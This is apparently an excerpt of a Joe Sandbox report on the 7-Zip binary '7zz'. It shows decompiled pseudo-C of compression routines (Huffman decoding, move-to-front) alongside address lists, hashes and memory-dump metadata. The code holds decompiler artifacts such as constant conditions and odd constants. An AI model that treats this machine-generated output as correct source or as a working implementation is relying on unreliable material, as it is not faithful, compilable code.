						} while (_t592 <  *(_t636 + 0x18));
						_t368 =  *(_t636 + 0x28) - 1;
						 *(_t636 + 0x28) = _t368;
					} while (_t368 != 0);
					_t369 = 0;
					do {
						 *((char*)(_t636 + _t369 + 0x40)) = _t369;
						_t369 = _t369 + 1;
					} while (_t369 <  *(_t636 + 0x18));
					_t370 =  *((intOrPtr*)(_t636 + 0x40));
					_t593 = 0;
					do {
						_t430 =  *((intOrPtr*)(_t593 + _t632 + 0x3680));
						_t613 = 0;
						if(_t370 != _t430) {
							do {
								E00448610(1);
								_t399 =  *((intOrPtr*)(_t636 + _t613 + 0x41));
								_t613 = _t613 + 1;
							} while (_t399 != _t430);
						}
						E00448610(0);
						while(_t613 > 0) {
							 *((char*)(_t636 + _t613 + 0x40)) =  *((intOrPtr*)(_t636 + _t613 + 0x3f));
							_t613 = _t613 - 1;
						}
						_t593 = _t593 + 1;
						_t370 = _t430;
						 *((char*)(_t636 + 0x40)) = _t370;
					} while (_t593 <  *(_t636 + 0x4c));
					 *(_t636 + 0x28) = 0;
					 *(_t636 + 0x10) = _t632 + 0x14;
					do {
						_t614 = 0;
						E00448580(_t632, 0, 5);
						_t431 = 0;
						do {
							while(_t614 != 0) {
								E00448610(1);
								if(_t614 >= 0) {
									E00448610(1);
									_t614 = _t614 - 1;
								} else {
									E00448610(0);
									_t614 = _t614 + 1;
								}
							}
							E00448610(0);
							_t431 = _t431 + 1;
						} while (_t431 <  *(_t636 + 0x38));
						_t379 =  *(_t636 + 0x28) + 1;
						 *(_t636 + 0x28) = _t379;
						 *(_t636 + 0x10) =  *(_t636 + 0x10) + 0x102;
					} while (_t379 <  *(_t636 + 0x18));
					 *((intOrPtr*)(_t636 + 0x30)) = 0;
					 *((intOrPtr*)(_t636 + 0x34)) = 0;
					 *((intOrPtr*)(_t636 + 0x24)) = 0;
					 *(_t636 + 0x10) = 0;
					 *(_t636 + 0x28) = _t632 + 0x3680;
					do {
						_t382 =  *(_t636 + 0x10);
						_t498 =  *((intOrPtr*)(_t382 +  *((intOrPtr*)(_t636 + 0x3c))));
						_t383 = _t382 + 1;
						 *(_t636 + 0x10) = _t383;
						if(0 >= 0xff) {
							_t498 = 0;
							 *(_t636 + 0x10) = _t383 + 1;
						}
						_t552 =  *((intOrPtr*)(_t636 + 0x30));
						if(_t552 == 0) {
							_t552 = 0x32;
							 *(_t636 + 0x28) =  *(_t636 + 0x28) + 1;
							 *((intOrPtr*)(_t636 + 0x34)) = _t632 + 0x175b76e;
							 *((intOrPtr*)(_t636 + 0x24)) = _t632 + 0x5d6fbb8;
						}
						 *((intOrPtr*)(_t636 + 0x30)) = _t552 - 1;
						_t385 =  *(_t632 + 0x10);
						_t616 = 0;
						_t595 =  *( *((intOrPtr*)(_t636 + 0x24)) + _t498 * 4);
						if(0 > 0) {
							do {
								_t500 = _t385[1];
								if(_t616 < _t500) {
									_t500 = _t616;
								}
								_t616 = _t616 - _t500;
								 *(_t636 + 0x1c) = _t500;
								_t385[2] = _t385[2] << _t500;
								_t565 = _t595 >> _t616;
								_t433 = _t565 | _t385[2];
								_t385[2] = _t433;
								_t595 = _t595 - (_t565 << _t616);
								_t568 = _t385[1] -  *(_t636 + 0x1c);
								_t385[1] = _t568;
								if(_t568 == 0) {
									 *(_t385[3] +  *_t385) = _t433;
									_t385[1] = 8;
									 *_t385 =  *_t385 + 1;
								}
							} while (_t616 > 0);
						}
					} while ( *(_t636 + 0x10) <  *((intOrPtr*)(_t636 + 0x20)));
					_t387 =  *((intOrPtr*)(_t632 + 0x8cdc));
					if(_t387 != 0) {
						_t470 =  *(_t632 + 0x10);
						_t604 =  *(_t636 + 0x58);
						_t596 =  *(_t636 + 0x2c);
						_t387 = 8 +  *_t470 * 8 - _t470[1] - _t604;
						if(_t387 >  *((intOrPtr*)(_t636 + 0x50))) {
							L126:
							_t587 = _t596 + 1;
							 *(_t636 + 0x2c) = _t587;
							if(_t587 <= 7) {
								_t420 =  *(_t636 + 0x5c);
								continue;
							}
						} else {
							if(_t596 != 6) {
								 *((intOrPtr*)(_t636 + 0x50)) = _t387;
								 *(_t636 + 0x48) = _t596;
								goto L126;
							}
						}
					}
					return _t387;
					L44:
					if(_t420 >= 0xc8) {
						if(_t420 >= 0x258) {
							if(_t420 >= 0x4b0) {
								asm("sbb eax, eax");
								_t342 = _t341 + 6;
								goto L51;
							} else {
								 *(_t636 + 0x18) = 4;
							}
						} else {
							 *(_t636 + 0x18) = 3;
						}
					} else {
						 *(_t636 + 0x18) = 2;
					}
					goto L52;
				}
			}

0x0044873a
0x0044873e
0x00448742
0x00448747
0x00448758
0x00448764
0x00448769
0x00448775
0x00448782
0x00448786
0x00448788
0x0044878c
0x0044878c
0x00448790
0x00448796
0x00448798
0x004487a4
0x004487a7
0x004487a7
0x00448798
0x004487b0
0x004487b2
0x004487bb
0x004487bf
0x004487c6
0x004487c7
0x004487c7
0x004487cb
0x004487cc
0x004487d3
0x004487d5
0x004487dc
0x004487e1
0x004487e2
0x004487e7
0x004487e9
0x004487f4
0x00448800
0x00448800
0x00448805
0x00448806
0x00448816
0x00448826
0x00448826
0x00448832
0x00448836
0x00448838
0x0044883b
0x0044883f
0x00448843
0x0044884a
0x0044884e
0x0044885f
0x00448862
0x00448866
0x0044886a
0x0044886c
0x0044886c
0x00448870
0x00448871
0x0044886c
0x00448875
0x0044887a
0x0044887e
0x00448884
0x00448885
0x00448888
0x00448890
0x00448897
0x0044889f
0x004488a7
0x004488af
0x004488b7
0x004488bf
0x004488c3
0x004488c6
0x004488cb
0x004488cf
0x004488cf
0x004488d5
0x004488d7
0x004488db
0x004488df
0x004488e0
0x004488e4
0x004488e4
0x004488ea
0x004488ee
0x004488f5
0x004488f7
0x004488f7
0x00448901
0x00448904
0x00448914
0x00448916
0x00448916
0x004488f7
0x00448920
0x00448934
0x00448922
0x00448922
0x00448928
0x0044892b
0x0044892b
0x00448945
0x00448947
0x004488f0
0x004488f0
0x004488f0
0x00448958
0x0044895e
0x00448962
0x00448962
0x0044896e
0x00448970
0x00448970
0x0044897a
0x0044897d
0x0044898d
0x0044898f
0x0044898f
0x00448970
0x00448993
0x0044899c
0x004489a7
0x004489ab
0x004489ac
0x0044899e
0x004489a2
0x004489a2
0x004489bf
0x004489c1
0x004489c5
0x004489c7
0x004489ce
0x004489d3
0x004489d3
0x004489d5
0x004489d8
0x004489da
0x004489da
0x004489dd
0x004489e0
0x004489e5
0x004489e9
0x004489f2
0x004489fa
0x00448a0a
0x00448a0f
0x00448a13
0x00448a1b
0x00448a1f
0x00448a29
0x00448a29
0x00448a31
0x00000000
0x00000000
0x00448a3c
0x00448a4b
0x00448a4e
0x00448a51
0x00448a54
0x00448a57
0x00448a5f
0x00448aa6
0x00448aa6
0x00448a59
0x00448a59
0x00448a59
0x00448aaa
0x00448aaa
0x00448ab3
0x00448ac1
0x00448ac8
0x00448acd
0x00448ad1
0x00448ad5
0x00448ae0
0x00448ae4
0x00448ae6
0x00448ae8
0x00448aea
0x00448aee
0x00448af0
0x00448af7
0x00448af7
0x00448af9
0x00448afc
0x00448afe
0x00448aff
0x00448af7
0x00448b03
0x00448b03
0x00448b08
0x00448b21
0x00448b23
0x00448b23
0x00448b2a
0x00448b2e
0x00448b30
0x00448b32
0x00448b3c
0x00448b38
0x00448b38
0x00448b38
0x00448b41
0x00448b48
0x00448b49
0x00448b51
0x00448b57
0x00448b59
0x00448b61
0x00448b67
0x00448b6b
0x00448b6b
0x00448b75
0x00448b79
0x00448b81
0x00448b81
0x00448b85
0x00448b87
0x00448b8d
0x00448b8f
0x00448b91
0x00448b97
0x00448b9f
0x00448b9f
0x00448b9f
0x00448ba3
0x00448bab
0x00448baf
0x00448bb3
0x00448bb3
0x00448bb7
0x00448bb9
0x00448bbd
0x00448bbf
0x00448bc2
0x00448bc8
0x00448bcf
0x00448bd1
0x00448bd1
0x00448bd2
0x00448bd4
0x00448bd5
0x00448bd8
0x00448be3
0x00448be7
0x00448bef
0x00448bf7
0x00448bfa
0x00448bfa
0x00448bfc
0x00448bfe
0x00448c02
0x00448c06
0x00448c0c
0x00448c0e
0x00448c0f
0x00448c17
0x00448c21
0x00448c25
0x00448c25
0x00448c2f
0x00448c30
0x00448c38
0x00448c38
0x00448c3e
0x00448c5c
0x00448c63
0x00448c67
0x00448c6b
0x00448c6d
0x00448c71
0x00448c71
0x00448c73
0x00448c7d
0x00448c80
0x00448c80
0x00448c84
0x00448c8c
0x00448c94
0x00448c96
0x00448c99
0x00448c9f
0x00448c9f
0x00448ca1
0x00448ca3
0x00448ca6
0x00448ca8
0x00448ca8
0x00448cb2
0x00448cb3
0x00448cb6
0x00448cba
0x00448cbc
0x00448cc1
0x00448cca
0x00448cd3
0x00448cd4
0x00448cda
0x00448ce0
0x00448ce8
0x00448ce9
0x00448ce9
0x00448cf3
0x00448cf5
0x00448cf9
0x00448cfd
0x00448cfe
0x00448d02
0x00448d06
0x00448d08
0x00448d08
0x00448d0f
0x00448d13
0x00448d15
0x00448d19
0x00448d1e
0x00448d22
0x00448d23
0x00448d15
0x00448d2b
0x00448d32
0x00448d38
0x00448d3c
0x00448d3d
0x00448d45
0x00448d46
0x00448d4a
0x00448d4a
0x00448d53
0x00448d5b
0x00448d5f
0x00448d6b
0x00448d6e
0x00448d73
0x00448d75
0x00448d82
0x00448d88
0x00448d8f
0x00448da1
0x00448da6
0x00448d91
0x00448d95
0x00448d9a
0x00448d9a
0x00448da7
0x00448daf
0x00448db8
0x00448db9
0x00448dc9
0x00448dd2
0x00448dd6
0x00448dd6
0x00448dde
0x00448de2
0x00448de6
0x00448dea
0x00448df4
0x00448df8
0x00448df8
0x00448e02
0x00448e05
0x00448e0c
0x00448e10
0x00448e17
0x00448e1a
0x00448e1a
0x00448e1e
0x00448e24
0x00448e2c
0x00448e34
0x00448e43
0x00448e55
0x00448e55
0x00448e5e
0x00448e67
0x00448e6a
0x00448e72
0x00448e75
0x00448e77
0x00448e77
0x00448e7c
0x00448e7e
0x00448e7e
0x00448e83
0x00448e87
0x00448e8d
0x00448e92
0x00448e99
0x00448ea3
0x00448ea6
0x00448eab
0x00448ead
0x00448eb0
0x00448eb7
0x00448ebd
0x00448ec4
0x00448ec4
0x00448ec6
0x00448e77
0x00448ed2
0x00448eda
0x00448ee2
0x00448ee4
0x00448ee7
0x00448eef
0x00448f01
0x00448f05
0x00448f14
0x00448f14
0x00448f18
0x00448f1c
0x00448a25
0x00000000
0x00448a25
0x00448f07
0x00448f0a
0x00448f0c
0x00448f10
0x00000000
0x00448f10
0x00448f0a
0x00448f05
0x00448f2c
0x00448a65
0x00448a6b
0x00448a7d
0x00448a8f
0x00448aa1
0x00448aa3
0x00000000
0x00448a91
0x00448a91
0x00448a91
0x00448a7f
0x00448a7f
0x00448a7f
0x00448a6d
0x00448a6d
0x00448a6d
0x00000000
0x00448a6b

Strings

YA1, xrefs: 00448736

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID: YA1
API String ID: 0-613462611
Opcode ID: 40c36dd2d9e12414e66adf71fdb657f7f3508d8c1f6a41737e3c26815d29bb3b
Instruction ID: 099bcbc28d88e1846a75dfe823cd1f8e9a6e0cdfc63d5bc2b083594896ecf992
Opcode Fuzzy Hash: 40c36dd2d9e12414e66adf71fdb657f7f3508d8c1f6a41737e3c26815d29bb3b
Instruction Fuzzy Hash: DE42D2716083818FE715DF28C49066FBBE2BFD9308F14496EE8D59B342DA35D806CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004469A0 Relevance: 1.7, Strings: 1, Instructions: 496
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E004469A0(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _t218;
				char _t226;
				char _t228;
				unsigned int _t241;
				intOrPtr _t243;
				signed char _t247;
				void* _t252;
				intOrPtr _t255;
				signed int _t257;
				signed char _t260;
				signed int _t267;
				signed int _t270;
				signed int _t275;
				signed int _t277;
				intOrPtr _t279;
				intOrPtr* _t280;
				signed int _t286;
				unsigned int _t294;
				unsigned int _t295;
				intOrPtr _t316;
				void _t317;
				intOrPtr _t318;
				void* _t319;
				unsigned int _t320;
				intOrPtr _t324;
				void* _t346;
				signed int _t350;
				intOrPtr _t359;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed char _t367;
				signed int _t368;
				signed int _t378;
				signed char _t385;
				intOrPtr _t394;
				intOrPtr _t396;
				unsigned int _t399;
				signed int _t400;
				signed int _t409;
				intOrPtr* _t423;
				int _t424;
				intOrPtr _t425;
				intOrPtr* _t426;
				signed int _t430;
				signed int _t431;
				signed int* _t436;
				signed int _t445;
				void* _t446;
				void* _t447;
				void* _t448;
				unsigned int _t455;
				signed int _t460;
				unsigned int* _t462;
				intOrPtr _t463;
				void* _t465;
				char* _t468;
				void* _t469;
				signed int _t470;
				intOrPtr _t471;
				void* _t472;
				intOrPtr* _t473;
				signed int _t478;
				signed int _t481;
				intOrPtr _t484;
				unsigned int _t486;
				unsigned int _t489;
				signed int _t491;
				signed int _t492;
				intOrPtr _t495;
				signed int _t496;
				void* _t497;
				signed int _t502;
				void* _t503;
				void* _t504;
				void* _t506;

				_t468 =  *((intOrPtr*)(_t503 + 0x314));
				 *((intOrPtr*)(_t503 + 0x3c)) = __edx;
				 *((intOrPtr*)(_t503 + 0x10)) = __ecx;
				if(_t468 != 0) {
					 *_t468 = E00447070() & 0xffffff00 | _t313 != 0x00000000;
				}
				_t218 = E00446FF0(0x18);
				 *((intOrPtr*)( *((intOrPtr*)(_t503 + 0x314)))) = _t218;
				if(_t218 >=  *((intOrPtr*)(_t503 + 0x304))) {
					L82:
					return 1;
				} else {
					memset(_t503 + 0xa8, 0, 0x40 << 2);
					_t504 = _t503 + 0xc;
					_t445 = 0;
					_t469 = 0;
					 *(_t504 + 0x28) = 0;
					do {
						 *((char*)(_t504 + _t469 + 0x44)) = E00447070();
						_t469 = _t469 + 1;
					} while (_t469 < 0x10);
					_t470 = 0;
					do {
						if( *((intOrPtr*)(_t504 + (_t470 >> 4) + 0x44)) != 0 && E00447070() != 0) {
							_t409 = _t445;
							_t445 = _t445 + 1;
							 *(_t504 + 0xa8 + (_t409 >> 2) * 4) =  *(_t504 + 0xa8 + (_t409 >> 2) * 4) | (_t470 & 0x000000ff) << (_t409 & 0x00000003) << 0x00000003;
						}
						_t470 = _t470 + 1;
					} while (_t470 < 0x100);
					 *(_t504 + 0x28) = _t445;
					if(_t445 == 0) {
						goto L82;
					} else {
						_t471 = E00446FF0(3);
						 *((intOrPtr*)(_t504 + 0x14)) = _t471;
						if(_t471 < 2 || _t471 > 6) {
							goto L82;
						} else {
							_t316 = E00446FF0(0xf);
							 *((intOrPtr*)(_t504 + 0x40)) = _t316;
							if(_t316 < 1 || _t316 > 0x4652) {
								goto L82;
							} else {
								_t226 = 0;
								do {
									 *((char*)(_t504 + _t226 + 0x30)) = _t226;
									_t226 = _t226 + 1;
								} while (_t226 < _t471);
								_t495 =  *((intOrPtr*)(_t504 + 0x308));
								_t446 = 0;
								do {
									_t472 = 0;
									if(E00447070() == 0) {
										L21:
										_t228 =  *((intOrPtr*)(_t504 + _t472 + 0x30));
										while(_t472 > 0) {
											 *((char*)(_t504 + _t472 + 0x30)) =  *((intOrPtr*)(_t504 + _t472 + 0x2f));
											_t472 = _t472 - 1;
										}
										goto L23;
									} else {
										while(1) {
											_t472 = _t472 + 1;
											if(_t472 >=  *((intOrPtr*)(_t504 + 0x14))) {
												goto L82;
											}
											if(E00447070() != 0) {
												continue;
											} else {
												goto L21;
											}
											goto L83;
										}
										goto L82;
									}
									goto L83;
									L23:
									 *((char*)(_t446 + _t495)) = _t228;
									_t446 = _t446 + 1;
									 *((char*)(_t504 + 0x30)) = _t228;
								} while (_t446 < _t316);
								_t473 =  *((intOrPtr*)(_t504 + 0x30c));
								_t496 =  *(_t504 + 0x28);
								 *(_t504 + 0x18) = 0;
								do {
									_t317 = E00446FF0(5);
									_t447 = 0;
									if(_t496 + 2 <= 0) {
										L32:
										_t448 = _t504 + _t447 + 0x1fc;
										memset(_t448 + (0x102 - _t447 >> 2), memset(_t448, 0, 0x102 << 2), 2 << 0);
										_t504 = _t504 + 0x18;
										goto L33;
									} else {
										while(_t317 >= 1 && _t317 <= 0x14) {
											if(E00447070() == 0) {
												 *(_t504 + _t447 + 0x1fc) = _t317;
												_t447 = _t447 + 1;
												if(_t447 < _t496 + 2) {
													continue;
												} else {
													if(_t447 < 0x102) {
														goto L32;
													}
													L33:
													_t423 = _t473 + 0xa8;
													memset(_t504 + 0x58, 0, 0x14 << 2);
													_t504 = _t504 + 0xc;
													_t346 = 0;
													while(0 <= 0x14) {
														 *_t423 = 0xffffffff;
														_t346 = _t346 + 1;
														_t423 = _t423 + 4;
														 *((intOrPtr*)(_t504 + 0x54)) =  *((intOrPtr*)(_t504 + 0x54)) + 1;
														if(_t346 < 0x102) {
															continue;
														} else {
															_t455 = 0;
															_t318 = 0;
															 *((intOrPtr*)(_t504 + 0x54)) = 0;
															 *_t473 = 0;
															 *((intOrPtr*)(_t473 + 0x54)) = 0;
															 *((intOrPtr*)(_t504 + 0x20)) = 0;
															_t424 = 1;
															while(1) {
																_t455 = _t455 + ( *(_t504 + 0x54 + _t424 * 4) << 0x14 - _t424);
																 *(_t504 + 0x2c) = _t455;
																if(_t455 > 0x100000) {
																	goto L82;
																}
																_t241 = 0x100000;
																if(_t424 != 0x14) {
																	_t241 = _t455;
																}
																 *(_t473 + _t424 * 4) = _t241;
																_t243 =  *((intOrPtr*)(_t504 + 0x50 + _t424 * 4)) +  *((intOrPtr*)(_t473 + 0x50 + _t424 * 4));
																 *((intOrPtr*)(_t473 + 0x54 + _t424 * 4)) = _t243;
																 *((intOrPtr*)(_t504 + 0x1a8 + _t424 * 4)) = _t243;
																if(_t424 <= 9) {
																	_t294 =  *(_t473 + _t424 * 4) >> 0xb;
																	if(_t318 < _t294) {
																		_t295 = _t294 - _t318;
																		_t465 = _t473 + _t318 + 0x4b0;
																		 *(_t504 + 0x24) = _t295;
																		_t399 = _t295;
																		_t502 = _t399;
																		_t324 =  *((intOrPtr*)(_t504 + 0x20));
																		_t400 = _t399 >> 2;
																		memset(_t465 + _t400, memset(_t465, _t424, _t400 << 2), (_t502 & 0x00000003) << 0);
																		_t504 = _t504 + 0x18;
																		_t455 =  *(_t504 + 0x2c);
																		_t496 =  *(_t504 + 0x28);
																		_t318 = _t324 + _t502;
																		 *((intOrPtr*)(_t504 + 0x20)) = _t318;
																	}
																}
																_t424 = _t424 + 1;
																if(_t424 <= 0x14) {
																	continue;
																} else {
																	_t425 = 0;
																	do {
																		if(0 != 0) {
																			_t350 =  *(_t504 + 0x1a8);
																			 *((intOrPtr*)(_t473 + 0xa8 + _t350 * 4)) = _t425;
																			 *(_t504 + 0x1a8) = _t350 + 1;
																		}
																		_t425 = _t425 + 1;
																	} while (_t425 < 0x102);
																	goto L48;
																}
																goto L83;
															}
															goto L82;
														}
														goto L83;
													}
													goto L82;
												}
											} else {
												_t317 = _t317 + 1 - (E00447070() << 1);
												continue;
											}
											goto L83;
										}
										goto L82;
									}
									goto L83;
									L48:
									_t247 =  *(_t504 + 0x18) + 1;
									_t473 = _t473 + 0x6b0;
									 *(_t504 + 0x18) = _t247;
								} while (_t247 <  *((intOrPtr*)(_t504 + 0x14)));
								_t319 =  *(_t504 + 0x3c);
								_t497 = 0;
								memset(_t319, 0, 0x100 << 2);
								_t506 = _t504 + 0xc;
								 *(_t506 + 0x1c) = 0;
								 *((intOrPtr*)(_t506 + 0x38)) = 0;
								 *((intOrPtr*)(_t506 + 0x18)) = 0;
								 *(_t506 + 0x20) = 0;
								 *((intOrPtr*)(_t506 + 0x14)) = 0;
								while(1) {
									L50:
									_t426 =  *((intOrPtr*)(_t506 + 0x10));
									L51:
									while(1) {
										if( *((intOrPtr*)(_t506 + 0x18)) != 0) {
											L54:
											 *((intOrPtr*)(_t506 + 0x18)) =  *((intOrPtr*)(_t506 + 0x18)) - 1;
											_t478 =  *(_t426 + 4) >> 0x00000008 -  *_t426 >> 0x00000004 & 0x000fffff;
											if(_t478 >=  *((intOrPtr*)(_t497 + 0x24))) {
												_t133 = _t497 + 0x28; // 0x28
												_t252 = _t133;
												_t460 = 0xa;
												if(_t478 >=  *((intOrPtr*)(_t497 + 0x28))) {
													do {
														_t396 =  *((intOrPtr*)(_t252 + 4));
														_t252 = _t252 + 4;
														_t460 = _t460 + 1;
													} while (_t478 >= _t396);
												}
											} else {
												_t460 = 0;
											}
											_t359 =  *_t426 + _t460;
											 *_t426 = _t359;
											if(_t359 >= 8) {
												do {
													_t280 =  *((intOrPtr*)(_t426 + 8));
													if(_t280 <  *((intOrPtr*)(_t426 + 0xc))) {
														 *(_t506 + 0x2c) =  *_t280;
														 *((intOrPtr*)(_t426 + 8)) = _t280 + 1;
													} else {
														_t286 = E0040E070( *((intOrPtr*)(_t506 + 0x10)) + 8);
														_t426 =  *((intOrPtr*)(_t506 + 0x10));
														 *(_t506 + 0x2c) = _t286;
													}
													_t394 =  *_t426 + 0xfffffff8;
													 *(_t426 + 4) =  *(_t426 + 4) << 0x00000008 |  *(_t506 + 0x2c) & 0x000000ff;
													 *_t426 = _t394;
												} while (_t394 >= 8);
											}
											_t362 = 0x14 - _t460;
											_t481 = (_t478 -  *((intOrPtr*)(_t497 + _t460 * 4 - 4)) >> _t362) +  *((intOrPtr*)(_t497 + 0x54 + _t460 * 4));
											if(_t481 < 0x102) {
												_t363 =  *(_t497 + 0xa8 + _t481 * 4);
												if(_t363 >= 2) {
													goto L65;
												} else {
													_t385 =  *(_t506 + 0x20);
													_t279 =  *((intOrPtr*)(_t506 + 0x14)) + (_t363 + 1 << _t385);
													 *(_t506 + 0x20) = _t385 + 1;
													 *((intOrPtr*)(_t506 + 0x14)) = _t279;
													if( *((intOrPtr*)(_t506 + 0x304)) -  *(_t506 + 0x1c) < _t279) {
														goto L82;
													} else {
														continue;
													}
												}
											} else {
												_t363 = _t362 | 0xffffffff;
												L65:
												if( *((intOrPtr*)(_t506 + 0x14)) != 0) {
													_t463 =  *((intOrPtr*)(_t506 + 0x14));
													_t492 =  *(_t506 + 0x1c);
													_t277 =  *(_t506 + 0xa8) & 0x000000ff;
													 *((intOrPtr*)(_t319 + _t277 * 4)) =  *((intOrPtr*)(_t319 + _t277 * 4)) + _t463;
													_t436 = _t319 + 0x400 + _t492 * 4;
													do {
														 *_t436 = _t277;
														_t492 = _t492 + 1;
														_t436 =  &(_t436[1]);
														_t463 = _t463 - 1;
													} while (_t463 != 0);
													 *((intOrPtr*)(_t506 + 0x14)) = _t463;
													 *(_t506 + 0x1c) = _t492;
													 *(_t506 + 0x20) = 0;
												}
												_t255 =  *((intOrPtr*)(_t506 + 0x28));
												if(_t363 > _t255) {
													if(_t363 != _t255 + 1) {
														goto L82;
													} else {
														_t257 =  *(_t506 + 0x1c);
														 *( *(_t506 + 0x310)) = _t257;
														asm("sbb eax, eax");
														return _t257 + 1;
													}
												} else {
													_t365 = _t363 - 1;
													_t260 = _t365 >> 2;
													_t367 = (_t365 & 0x00000003) << 3;
													 *(_t506 + 0x30) = _t367;
													_t368 = 0;
													_t430 =  *(_t506 + 0xa8 + _t260 * 4) >> _t367 & 0x000000ff;
													if((_t260 & 0x00000001) != 0) {
														_t489 =  *(_t506 + 0xa8);
														_t491 = _t489 << 0x00000008 | _t430;
														_t430 = _t489 >> 0x18;
														 *(_t506 + 0xa8) = _t491;
														_t368 = 1;
														_t260 = _t260 - 1;
													}
													if(_t368 < _t260) {
														_t462 = _t506 + 0xa8 + _t368 * 4;
														_t270 = _t260 - _t368 + 1 >> 1;
														 *(_t506 + 0x24) = _t270;
														_t368 = _t368 + _t270 * 2;
														do {
															_t486 =  *_t462;
															_t320 = _t462[1];
															_t462 =  &(_t462[2]);
															 *(_t462 - 8) = _t486 << 0x00000008 | _t430;
															 *(_t462 - 4) = _t486 >> 0x00000018 | _t320 << 0x00000008;
															_t275 =  *(_t506 + 0x24) - 1;
															_t430 = _t320 >> 0x18;
															 *(_t506 + 0x24) = _t275;
														} while (_t275 != 0);
													}
													_t431 =  *(_t506 + 0x1c);
													 *(_t506 + 0xa8 + _t368 * 4) = ( *(_t506 + 0xa8 + _t368 * 4) << 0x00000008 | _t430) & 0x00000100 |  !((0x100 <<  *(_t506 + 0x30)) - 1) &  *(_t506 + 0xa8 + _t368 * 4);
													_t267 =  *(_t506 + 0xa8) & 0x000000ff;
													if(_t431 >=  *((intOrPtr*)(_t506 + 0x304))) {
														goto L82;
													} else {
														_t319 =  *(_t506 + 0x3c);
														 *((intOrPtr*)(_t319 + _t267 * 4)) =  *((intOrPtr*)(_t319 + _t267 * 4)) + 1;
														_t378 = _t431;
														 *(_t319 + 0x400 + _t378 * 4) = _t267;
														 *(_t506 + 0x1c) = _t378 + 1;
														goto L50;
													}
												}
											}
										} else {
											_t484 =  *((intOrPtr*)(_t506 + 0x38));
											if(_t484 >=  *((intOrPtr*)(_t506 + 0x40))) {
												goto L82;
											} else {
												 *((intOrPtr*)(_t506 + 0x18)) = 0x32;
												_t497 = (0xbadbad << 4) +  *((intOrPtr*)(_t506 + 0x30c));
												 *((intOrPtr*)(_t506 + 0x38)) = _t484 + 1;
												goto L54;
											}
										}
										goto L83;
									}
								}
							}
						}
					}
				}
				L83:
			}

0x004469a9
0x004469b5
0x004469b9
0x004469bd
0x004469c9
0x004469c9
0x004469d2
0x004469de
0x004469e9
0x00446fde
0x00446fea
0x004469ef
0x004469fd
0x004469fd
0x004469ff
0x00446a01
0x00446a03
0x00446a07
0x00446a0e
0x00446a12
0x00446a13
0x00446a18
0x00446a1a
0x00446a25
0x00446a32
0x00446a52
0x00446a55
0x00446a55
0x00446a57
0x00446a58
0x00446a62
0x00446a66
0x00000000
0x00446a6c
0x00446a78
0x00446a7d
0x00446a81
0x00000000
0x00446a90
0x00446a9c
0x00446aa1
0x00446aa5
0x00000000
0x00446ab7
0x00446ab7
0x00446ab9
0x00446ab9
0x00446abd
0x00446abe
0x00446ac2
0x00446ac9
0x00446acb
0x00446acf
0x00446ad8
0x00446af4
0x00446af4
0x00446afa
0x00446b00
0x00446b04
0x00446b05
0x00000000
0x00446ada
0x00446ada
0x00446ade
0x00446ae1
0x00000000
0x00000000
0x00446af2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00446af2
0x00000000
0x00446ada
0x00000000
0x00446b09
0x00446b09
0x00446b0c
0x00446b0f
0x00446b0f
0x00446b15
0x00446b1c
0x00446b20
0x00446b28
0x00446b36
0x00446b3b
0x00446b3f
0x00446b8d
0x00446b9b
0x00446bab
0x00446bab
0x00000000
0x00446b41
0x00446b41
0x00446b5e
0x00446b76
0x00446b7d
0x00446b83
0x00000000
0x00446b85
0x00446b8b
0x00000000
0x00000000
0x00446bad
0x00446bb8
0x00446bbe
0x00446bbe
0x00446bc0
0x00446bc2
0x00446bdd
0x00446be3
0x00446be4
0x00446bed
0x00446bef
0x00000000
0x00446bf1
0x00446bf1
0x00446bf3
0x00446bf5
0x00446bf9
0x00446bfb
0x00446bfe
0x00446c02
0x00446c07
0x00446c14
0x00446c1c
0x00446c20
0x00000000
0x00000000
0x00446c29
0x00446c2e
0x00446c30
0x00446c30
0x00446c32
0x00446c3d
0x00446c42
0x00446c46
0x00446c4d
0x00446c52
0x00446c57
0x00446c59
0x00446c5b
0x00446c62
0x00446c66
0x00446c6a
0x00446c78
0x00446c7c
0x00446c86
0x00446c86
0x00446c88
0x00446c8e
0x00446c92
0x00446c94
0x00446c94
0x00446c57
0x00446c98
0x00446c9c
0x00000000
0x00446ca2
0x00446ca2
0x00446ca4
0x00446caf
0x00446cb1
0x00446cbf
0x00446cc7
0x00446cc7
0x00446cc9
0x00446cca
0x00000000
0x00446ca4
0x00000000
0x00446c9c
0x00000000
0x00446c07
0x00000000
0x00446bef
0x00000000
0x00446bc2
0x00446b60
0x00446b72
0x00000000
0x00446b72
0x00000000
0x00446b5e
0x00000000
0x00446b41
0x00000000
0x00446cd2
0x00446cda
0x00446cdb
0x00446ce3
0x00446ce3
0x00446ced
0x00446cfa
0x00446cfc
0x00446cfc
0x00446cfe
0x00446d02
0x00446d06
0x00446d0a
0x00446d0e
0x00446d12
0x00446d12
0x00446d12
0x00000000
0x00446d16
0x00446d1c
0x00446d5e
0x00446d74
0x00446d7b
0x00446d83
0x00446d9a
0x00446d9a
0x00446d9f
0x00446da4
0x00446da6
0x00446da6
0x00446da9
0x00446dac
0x00446dad
0x00446da6
0x00446d85
0x00446d93
0x00446d93
0x00446db3
0x00446db7
0x00446dbc
0x00446dbe
0x00446dbe
0x00446dc6
0x00446de1
0x00446de5
0x00446dc8
0x00446dcf
